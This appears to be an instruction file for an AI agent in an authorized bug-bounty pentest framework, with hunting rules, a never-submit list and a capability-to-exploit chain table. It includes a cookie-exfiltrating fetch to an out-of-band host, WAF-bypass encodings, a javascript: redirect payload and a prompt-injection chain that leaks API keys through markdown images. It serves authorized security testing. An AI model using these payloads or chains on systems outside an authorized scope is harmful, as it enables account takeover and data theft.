Request Rejected

# pentest-agents — persistent instructions for Gemini ## Authorized Security Testing Workspace This workspace uses the pentest-agents framework for authorized bug bounty research only. Verify scope and policy before testing. Stay inside `scope.yaml` / `.scope.txt` and `policy.md`. Do not run destructive tests, DoS, social engineering, or out-of-scope probing. ## Operating Discipline - Read `rules/hunting.md` before every hunt. - Run scope/policy checks before touching a target. - Use `rules/never-submit.md` and the 7-Question Gate before writing reports. - Chain weak primitives before reporting; standalone informational findings are not submissions. - Read and update brain state with `tools/brain.py` so exhausted vectors stay exhausted and confirmed patterns compound. - Persist PoCs, reports, screenshots, and evidence to disk. If a file does not exist, call it pending. - Never hardcode platform identities or secrets. Use `rules/identities.md` and environment variables. ## Local Framework Assets - `.codex/`, `.gemini/`, `.cursor/`, `.windsurf/`, `.github/`, `.agents/` — project-scoped provider assets generated by scaffold/installer. - `.claude/agents/` and `.claude/skills/` — canonical Claude agents and slash-command skills. - `rules/` and `skills/` — methodology, payloads, and class-specific playbooks. - `tools/` — workspace-local CLI tools; run Python tools with `uv run python3`. - `mcp-bounty-server/` and `mcp-writeup-server/` — platform/scope and writeup search MCP servers. ## Workflow New program: `/sync` -> `/brain init` -> `/surface` -> `/hunt` Returning: `/resume ` -> `/hunt` or `/autopilot --resume` After confirming signal: `/validate` -> `/chain` -> `/report` -> `/dupcheck` -> `/submit` -> `/learn` Batch triage: `/triage` ## Rules Digest ## hunting # Hunting Rules These rules are ALWAYS active. Breaking them wastes time and tanks your validity ratio. ## Rule 0: THE ONLY QUESTION THAT MATTERS > "Can an attacker do this RIGHT NOW against a real user who has taken NO unusual actions — and does it cause real harm (expose sensitive functionality or data, stolen money, leaked PII, account takeover, code execution)?" > > If NO — STOP. Do not write. Do not explore further. Move on. ### Theoretical Bug = Wasted Time. Kill These Immediately: | Pattern | Kill Reason | |---|---| | "Could theoretically allow..." | Not exploitable = not a bug | | "An attacker with X, Y, Z conditions could..." | Too many preconditions | | "Wrong implementation but no practical impact" | Wrong but harmless = not a bug | | Dead code with a bug in it | Not reachable = not a bug | | Source maps without secrets | No impact | | SSRF with DNS-only callback | Need data exfil or internal access | | Open redirect alone | Need ATO or OAuth chain | | "Could be used in a chain if..." | Build the chain first, THEN report | ## Rule 1: READ FULL SCOPE FIRST Before making a single request: read the program's in-scope and out-of-scope lists. One out-of-scope request = potential ban. One out-of-scope report = instant close. ## Rule 2: KILL WEAK FINDINGS FAST Run the 7-Question Gate BEFORE spending time on a finding. Kill at Q1 if needed. Every minute on a weak finding = a minute not finding a real one. ## Rule 3: 5-MINUTE RULE If a target surface shows nothing interesting after 5 minutes → move on. Kill signals: - All hosts return 403 or static pages - No API endpoints with ID parameters - No JavaScript bundles with interesting paths - nuclei returns 0 medium/high findings ## Rule 4: AUTOMATION = HIGHEST DUP RATE Use automation for RECON only (subdomain enum, live hosts, URL crawl). Manual testing finds unique bugs. Automated scanners find duplicates. ## Rule 5: IMPACT-FIRST HUNTING Ask: "What's the worst thing that could happen if auth was broken here?" If "nothing valuable" → skip. If "admin access, PII exfil, fund theft" → hunt there. ## Rule 6: HUNT LESS-SATURATED BUG CLASSES High competition (skip unless target-specific): XSS, basic SSRF, open redirect alone, missing headers Low competition: Cache poisoning, race conditions, business logic, HTTP smuggling, CI/CD, SAML, OAuth chains ## Rule 7: DEPTH OVER BREADTH One target deeply understood > ten targets shallowly tested. Read 5+ disclosed reports for the target before hunting. Understand the business domain. Map the crown jewels. ## Rule 8: THE SIBLING RULE > "Check EVERY sibling endpoint. If `/api/user/123/orders` requires auth, > check `/api/user/123/export`, `/api/user/123/delete`, `/api/user/123/share`." This rule explains 30% of all paid IDOR/auth bugs. ## Rule 9: A→B SIGNAL METHOD When you confirm bug A → stop → hunt for B and C before writing the report. A confirmed bug = signal that the developer made a class of mistake. They made it elsewhere too. Finding B costs 10x less than finding A. Time-box: 20 minutes on B. If not confirmed → submit A and move on. ## Rule 10: NEW == UNREVIEWED Features < 30 days old have the lowest security maturity. Monitor GitHub commits. Hunt new features first. ## Rule 11: FOLLOW THE MONEY Billing/credits/refunds/wallet = most developer shortcuts taken. Price manipulation, race conditions on payment, quota bypass = high ROI. ## Rule 12: 20-MINUTE ROTATION RULE Every 20 min ask: "Am I making progress?" No → rotate to next endpoint, subdomain, or vuln class. Fresh context finds more bugs than brute force. ## Rule 13: BUSINESS IMPACT > VULN CLASS Clickjacking is usually $0 but MetaMask paid $120K for one. Ask: "What's the business impact?" before estimating severity. ## Rule 14: VALIDATE BEFORE WRITING Run /validate before starting a report. Gate 0 is 30 seconds. It takes 30 seconds to kill a bad lead. A report takes 30 minutes to write. ## Rule 15: CREDENTIAL LEAKS NEED EXPLOITATION PROOF Finding an API key = Informational. Proving what the key accesses (S3 read, database, admin panel) = Medium/High. Always call the API as the leaked key. Enumerate permissions. ## Rule 16: MOBILE = DIFFERENT ATTACK SURFACE Mobile apps expose endpoints the web app doesn't. Always decompile when in scope: - Hardcoded secrets in smali/strings that web recon never finds - API endpoints not in web JS - Deep-link handlers with injection points - WebView addJavascriptInterface = JS→Java bridge ## Rule 17: CI/CD IS ATTACK SURFACE GitHub Actions / GitLab CI with public repos: - `pull_request_target` + checkout of PR branch = attacker code with repo secrets - Expression injection in `${{ github.event.issue.title }}` in `run:` blocks - Self-hosted runners = escape to org infrastructure ## Rule 18: SAML/SSO = HIGHEST AUTH BUG DENSITY If target uses SSO, always test: - XML signature wrapping (XSW) - Comment injection in NameID - XXE in SAML assertion - Signature stripping - NameID manipulation ## Rule 19: NEVER-SUBMIT LIST Instant kill unless you have a working chain: ``` Missing headers (CSP/HSTS/X-Frame-Options) Missing SPF/DKIM/DMARC GraphQL introspection alone Banner/version disclosure without CVE exploit Clickjacking without sensitive action PoC Self-XSS Open redirect alone SSRF DNS-only CORS wildcard without credentialed exfil PoC Logout CSRF Rate limit on non-critical forms Session not invalidated on logout Concurrent sessions allowed Internal IP in error message Missing cookie flags alone OAuth client_secret in mobile app (expected) OAuth client_id alone (public by design) OIDC discovery endpoint (public by design) SPA client-side config (API URLs, Segment keys) ``` ## Rule 20: VERIFY DATA ISN'T ALREADY PUBLIC Before reporting an API "leak": check the web UI in incognito. If the same data is visible to any visitor, it's not a leak. ## Rule 21: DEEP CHAINS PAY THE MOST Individual findings are often low/informational. Chains escalate severity exponentially. The Renwa chain went from Self-XSS ($0 alone) to Critical ATO ($$$) through 9 links. **Chain walk algorithm:** 1. Confirm bug A 2. Map what A GIVES you (capability) 3. Search: what bug takes that capability as INPUT? 4. Test it. If confirmed → it becomes the new A 5. Repeat until terminal impact (ATO, RCE, data exfil) or dead end **Capability → Next Link (most common transitions):** - JS execution → read cookies/tokens, forge requests, inject into postMessage - Text injection → code execution (eval, template, SQL), stored XSS - URL/redirect control → OAuth code theft, iframe content control - Cookie control → cookie bomb (block callbacks), session fixation - Cross-origin window ref → URL theft (tokens in URL), postMessage injection - SSRF → cloud metadata, internal services, IP allowlist bypass - IDOR read → steal tokens/creds → impersonate → ATO - File write → web shell → RCE **Always run `/chain` when you confirm ANY finding.** Even Self-XSS can become Critical ATO. ## Rule 22: PERMISSIONS-FIRST VOLUME STRATEGY Medium-severity permission bugs at $500-1000/pop, found 1-3/day, is more reliable income than chasing criticals. **The approach:** 1. Read ALL product documentation — every feature, every role, every permission level 2. Map the permission model — who can do what, where are the boundaries 3. Test every API action against every role — look for discrepancies between UI restrictions and API enforcement 4. Apply the Sibling Rule across the permission model — if one action leaks, the whole class leaks 5. Focus on APIs — they're the most broken surface. UI may enforce permissions client-side while API doesn't **Priority order for permissions hunting:** 1. BAC (Broken Access Control) — horizontal and vertical privilege escalation 2. IDOR — object-level access control failures 3. Permission model gaps — actions available via API but hidden in UI 4. Role boundary violations — lower role accessing higher role functionality **Key insight:** Developers make CLASS mistakes. If they forgot auth on one endpoint, they forgot it on 20 others. One bug = signal that the whole product is broken in that class. Don't report and move on — map the entire class first. **"Broken product" recognition:** When you find your first bug on a product and it was easy, the whole product is likely broken. These products can yield $200K+ in a month. Train yourself to recognize them by the quality of their code, the age of their stack, and the number of features they ship. ## Rule 23: HTTP 200 ≠ IMPACT A 200 status on a request the user shouldn't make is a lead, not a finding. Impact requires either: - **Read:** a follow-up request returning data the user shouldn't see (another user's resource, admin-only field, internal state). - **Write:** a follow-up read confirming the state change persisted and is observable to a second party. Theoretical language ("could result in...", "an attacker might...") reads as speculation to triagers. Prove it with the actual data in the response, or the finding is not ready. **Common traps:** - Status-code asymmetry between own vs other-user's resource — proves auth fired somewhere, not that a leak exists. - Mass-assignment 400 vs 406 — proves the field was parsed, not that it was persisted. Read it back. - `404 not found` on unauth endpoints — proves routing reached the query layer, not that unauth data is accessible. Every IDOR, BAC, mass-assignment, SSRF, and privilege-change candidate ships with a request pair: exploit + independent read-back. ## Rule 24: EXHAUSTION REQUIRES A MUTATION MATRIX Never mark a vuln class "tested" after a single payload family. Minimum baseline before the verdict "exhausted" is accepted: 1. **Vectors:** query, path, JSON body, form, multipart, headers/cookies, async/webhook. 2. **Methods:** GET/POST/PUT/PATCH/DELETE where the endpoint allows. 3. **Encodings:** raw, URL, double-URL, unicode escape, HTML-entity, mixed-case / separator insertion, **and stacked** (multiple encodings in the same payload, e.g. `html-entity+url` → `%26lt%3Bscript%26gt%3B`, `unicode-escape+url`, `base64+url`). WAFs typically decode once; targets decode twice — stacking beats the gap. For a worked triple-stack (Akamai bypass, HTML-entity + URL + Unicode) see the "Stacked-encoding DOM XSS" payload in `rules/payloads.md`. 4. **Bypasses:** parser differential, alternate delimiters, allowlist confusion, host normalization. If fewer than 30 meaningful combinations were attempted on a P1 surface, the class is not exhausted. `uv run python3 ../../tools/intel_engine.py matrix ` generates the starting combinations; `uv run python3 ../../tools/brain.py record recon "coverage-" ""` persists what was covered. ## Rule 25: DIFFERENTIAL TESTING OVER SINGLE RESPONSES Always compare request pairs/triples, not single responses: - auth vs unauth - same request across two roles - same payload across two parsers / content-types - same endpoint before/after a state mutation Interesting deltas include: latency shifts, cache-key confusion, subtle JSON field differences, downstream side effects (emails, webhooks, audit logs), and async callback evidence. A 200 that looks identical can still leak through a header, body length, or timing skew. ## Rule 26: BROWSER + API PARITY CHECK If the browser blocks an action but the API accepts it, treat as high-value lead. For every critical workflow (auth changes, billing, exports, admin actions), validate all three: - UI restriction (what the browser enforces client-side) - raw API enforcement (same action via direct HTTP) - secondary read-back from a *separate session* to confirm the state actually changed This catches permission drift — server-side check was forgotten, UI still hides the button — that shallow autopilot loops miss. ## Rule 27: CHAIN SEARCH IS MANDATORY ON EVERY PASS SIGNAL Any PASS signal must trigger at least one immediate chain attempt before the finding is submitted atomically: 1. Define the capability gained (read / write / exec / control). 2. Query likely next links using `rules/chain-table.md`. 3. Attempt at least 3 next-link candidates, or 20 minutes, whichever comes first. 4. Record dead-end evidence to brain if none land. Do NOT submit atomic low-impact findings without either proving chain potential or recording chain-dead-end evidence. This keeps low-severity reports from eating the validity ratio. ## Rule 28: ROTATE DETECTION TOKENS — `alert(1)` IS TIER 1 OF 7 `alert(1)` is the most-WAF-blocked, most-overridden detection token in the field. A negative `alert(1)` result proves the dialog API is muted; it does NOT prove "no XSS / no JS execution / no prototype-pollution effect / no CSP bypass". Hunters that conclude "no vuln" after a single `alert`-shaped probe produce shallow results and will be re-dispatched. For every XSS, prototype-pollution, CSP-bypass, postMessage, or any JS-execution probe, walk the rotation ladder until execution is confirmed or all 7 tiers are exhausted. The ladder lives in `rules/payloads.md` under "Detection Mechanism Rotation Ladder": ``` Tier 1: alert(1) Tier 5: window['xss']=Date.now() (global write) Tier 2: prompt(1)/confirm(1) Tier 6: fetch('//oast/?'+cookie) (OOB + impact in one shot) Tier 3: console.log() Tier 7: constructor / token-encoded indirect call Tier 4: DOM marker mutation ``` Rule of thumb: **if Tier N is blocked, jump 2 tiers down**, not 1. Tier 6 (OOB) is the strongest single-shot proof — it defeats every dialog defense, captures cookies, and produces report-grade evidence in one round-trip. Use it early when a target is heavily WAF-protected. Detection-mechanism diversity directly increases hit rate: a target that blocks `alert\b` but not `prompt`, or overrides `window.alert` but not `document.title`, will fire on Tier 2/4 even though Tier 1 looked dead. Walking all 7 tiers raises confirmation probability from ~30% (alert-only) to ~85%+ on real-world targets. A hunter prompt that hard-codes `alert(1)` and stops there is failing this rule. Every hunter dispatched for a JS-execution-class probe MUST receive the rotation ladder in its preamble. ## Rule 30: NO CROSS-REGION INFERENCE A target's hosts in region X are separate test surface from the same product's region Y, even if the binaries, routes, or status patterns look identical. Recon, surface probe, and class coverage are per-host — **you may use another region to seed hypotheses, never to mark coverage**. The failure mode this rule was written for: a hunter probed `prod-*.nu.com.br` exhaustively, found everything hardened, then declared the corresponding `prod-*.nu.com.co` hosts "exhausted by inference" without testing them. The CO hosts had different service names (`milli-vanilli`, `telefonista`, `nuddynho`, `slack-client`) — clearly different code paths — but were still skipped. A confirmed unauthenticated write endpoint on the CO side was missed entirely. The hard gate (`tools/autopilot_gate.py`) rejects brain entries matching `same-code-as-`, `equivalent-to-`, `-hardened-so`, `assumed.*same`, and `inferr?ed.*from.*region`. If you genuinely cannot test a region for a policy reason, record: `recon-skip: policy: — ` and the gate will accept it. ## Rule 31: CONFIRMED UNAUTH STATE-CHANGE → ADVERSARIAL BATTERY IS MANDATORY Any unauthenticated POST/PUT/PATCH/DELETE that returns 2xx or 3xx is a confirmed write surface. You DO NOT walk away from it after recording the observation. Before the endpoint can be marked exhausted, the adversarial battery must run with **at least 10 attempts across all five required dimensions**: 1. **mass-assignment** — privileged JSON fields (role, status, balance, credit-score, decision, owner_id, tenant_id, is_admin) injected into the request body 2. **payload-fields** — XSS / SSTI / SQLi / log-injection payloads in every string field, with the Rule 28 rotation ladder applied 3. **id-collision** — write the same record twice with the same external identifier (applicant-id, idempotency-key, request-id) from different sessions; race the writes 4. **race-condition** — parallel requests against the endpoint to detect non-idempotent state mutations 5. **chain-anchors** — for the resulting capability (write to anonymous endpoint), pull the matching anchors from `rules/chain-table.md` and probe at least three of them (typical anchors: applicant-flow takeover, credit-decision injection, downstream KYC/PSE poisoning) Brain marker required: `adversarial-battery: attempts:<≥10> mass-assignment:> payload-fields: id-collision: race: chain-anchors:> evidence:`. The hard gate validates each dimension is present and the evidence file exists. Missing dimension or empty evidence file = gate fail. ## never-submit # Never-Submit List & Conditionally Valid Findings Reference file for validator agent. Do not duplicate this content elsewhere. ## Never-Submit List (instant kill without chain) These findings are ALWAYS rejected unless accompanied by a working exploit chain: - Missing headers (CSP/HSTS/X-Frame-Options) - Missing SPF/DKIM/DMARC - GraphQL introspection alone - Banner/version disclosure without CVE exploit - Clickjacking without sensitive action PoC - Self-XSS - Open redirect alone - SSRF DNS-only - CORS wildcard without credentialed exfil PoC - Logout CSRF - Rate limit on non-critical forms - Session not invalidated on logout - Concurrent sessions allowed - Internal IP in error message - Missing cookie flags alone - OAuth client_secret in mobile app (expected) - OAuth client_id alone (public by design) - OIDC discovery endpoint (public by design) - SPA client-side config (API URLs, Segment keys) - Subdomain takeover claim on `*.azurewebsites.net` (Microsoft reserves deprovisioned App Service hostnames — not exploitable; do not test, do not report) ## Conditionally Valid (chain required) These findings become valid when chained with the specified escalation: | You Have | Chain Needed | Combined Impact | |---|---|---| | Open redirect | + OAuth code theft → token exchange | ATO | | SSRF DNS-only | + internal service data exfil | Data breach | | CORS wildcard | + credentialed data theft PoC | Cross-origin data theft | | GraphQL introspection | + auth bypass on mutations | Unauthorized actions | | S3 listing | + secrets in bundles → OAuth chain | ATO | | Prompt injection | + IDOR via chatbot (other user data) | Data breach | | Subdomain takeover | + OAuth redirect_uri at that subdomain | ATO | ## chain-table # Chain Table — Capability → Next Bug Reference file for chain-builder agent and autopilot. Do not duplicate this content elsewhere. ## The Chain Walk Algorithm 1. START with confirmed bug A 2. Map what A GIVES you (capabilities/primitives) 3. Search this table for what takes A's output as input 4. Test the top candidate (B) 5. If B confirmed → map combined capabilities → check terminal impact → if not terminal, B becomes new A → go to 3 6. If B fails → try next candidate (max 3 failures per depth) 7. Report chain so far when terminal impact reached or candidates exhausted ## Capability → Next Bug Table | You Have (Capability) | Look For (Next Link) | Combined Gives You | |---|---|---| | **JS execution in victim context** | HttpOnly not set? → cookie theft | Session token | | | CSRF token accessible → forge requests | Authenticated actions | | | postMessage listener unchecked → inject messages | Control over app state | | | DOM access → read sensitive data | PII, tokens, keys | | **Arbitrary text injection** | Input evaluated/executed → code execution | JS execution | | | Input rendered in another context → stored XSS | JS execution in other users | | | Input sent to API → parameter injection | API abuse | | **Control over URL/redirect** | OAuth redirect_uri → steal auth code | OAuth token | | | Open redirect → phishing from trusted domain | Credential theft | | | iframe src control → clickjacking | UI manipulation | | **Cookie control (set/read)** | Cookie bomb (overflow headers) → block callbacks | Force error pages | | | Session fixation → set known session ID | Session hijack | | | Cookie tossing → override subdomain cookies | Auth confusion | | **Cross-origin window reference** | window.location readable → URL theft | Tokens in URL | | | postMessage to window → inject data | State manipulation | | | window.opener control → tabnabbing | Phishing | | **SSRF (make server requests)** | Hit cloud metadata → IAM credentials | Cloud access | | | Hit internal services → access admin panels | Internal access | | | Hit localhost → bypass IP allowlists | Auth bypass | | **IDOR (read other user's data)** | Read auth tokens → impersonate | ATO | | | Read PII → data breach | Privacy violation | | | Write to other user → modify account | Account manipulation | | **File write/upload** | Write to web root → web shell | RCE | | | Write SVG → stored XSS | JS execution | | | Write config → modify app behavior | App takeover | | **DNS control (subdomain)** | Subdomain is OAuth redirect_uri → token theft | ATO | | | Subdomain serves content → trusted phishing | Credential theft | | | Subdomain has wildcard cert → MitM | Traffic interception | ## Terminal Impacts (stop chaining, report) - **Account Takeover (ATO)**: stolen session, OAuth token, password reset - **Remote Code Execution (RCE)**: server-side code exec, web shell - **Mass Data Exfiltration**: bulk PII, financial data, credentials - **Full Admin Access**: privilege escalation to admin role - **Infrastructure Compromise**: cloud creds → full environment access ## Known Deep Chains (real-world examples) ### 9-Link: Self-XSS → ATO (Renwa 2026) A: Self-XSS in code editor → B: Cross-origin drag-drop injection → C: Scroll-to-fragment focus → D: Unchecked postMessage listener → E: Victim clicks Evaluate → F: DOM-XSS reads CSRF + OAuth → G: Cookie bomb blocks callback → H: Same-origin URL read extracts OAuth code → I: Exchange code → ATO ### 4-Link: S3 → OAuth → ATO A: S3 bucket publicly listable → B: JS bundles contain OAuth client_secret → C: OAuth flow doesn't enforce PKCE → D: Intercept auth code via manipulated redirect_uri → ATO ### 5-Link: Subdomain Takeover → ATO A: Dangling CNAME → claim subdomain → B: Subdomain is OAuth redirect_uri → C: Cookie tossing on parent domain → D: Session fixation via tossed cookie → E: Victim authenticates → ATO ### 6-Link: Prompt Injection → Admin A: LLM chatbot follows injected instructions → B: IDOR via AI (other user data) → C: Markdown image exfil → D: Exfiltrated API keys → E: Internal service access → F: Admin promotion endpoint → Admin ## Process Rules 1. Confirm each link with exact HTTP request/response 2. Map capabilities after each link 3. Search writeup DB at each step: `search_writeups " escalation"` 4. 20-minute time box per link 5. Max 3 failed candidates per depth 6. Each link must be DIFFERENT (endpoint, mechanism, or impact) 7. Each link must be PROVABLE (exact request/response) 8. Report the FULL chain as one submission — chains pay more ## Per-Class Chain Anchors (FEEDER discipline) When a hunter confirms a finding in any of the classes below, that finding is **a feeder, not a report**. The hunter MUST immediately probe the listed anchors before declaring the finding complete. If any anchor returns signal, the result is a chain candidate; dispatch chain-builder. If all anchors fail, the finding is informational at best — apply the never-submit rule. The hunt and autopilot dispatchers inject these anchors into the hunter's task preamble so the hunter knows what to test next without an extra round trip. ### `open-redirect` — anchors Standalone is on the never-submit list. Anchors: 1. **OAuth redirect_uri reflection** — find every OAuth/OIDC client in the target. Try `?redirect_uri=`. If the auth code is delivered to your domain → ATO chain confirmed. 2. **`returnTo` / `next` / `continue` after auth** — submit `returnTo=javascript:alert(document.cookie)`. If the SDK uses `location.href = returnTo`, that's CVE-2025-67716 class. 3. **SAML RelayState / OIDC `post_logout_redirect_uri`** — try `RelayState=`, use tags it doesn't know or check. ```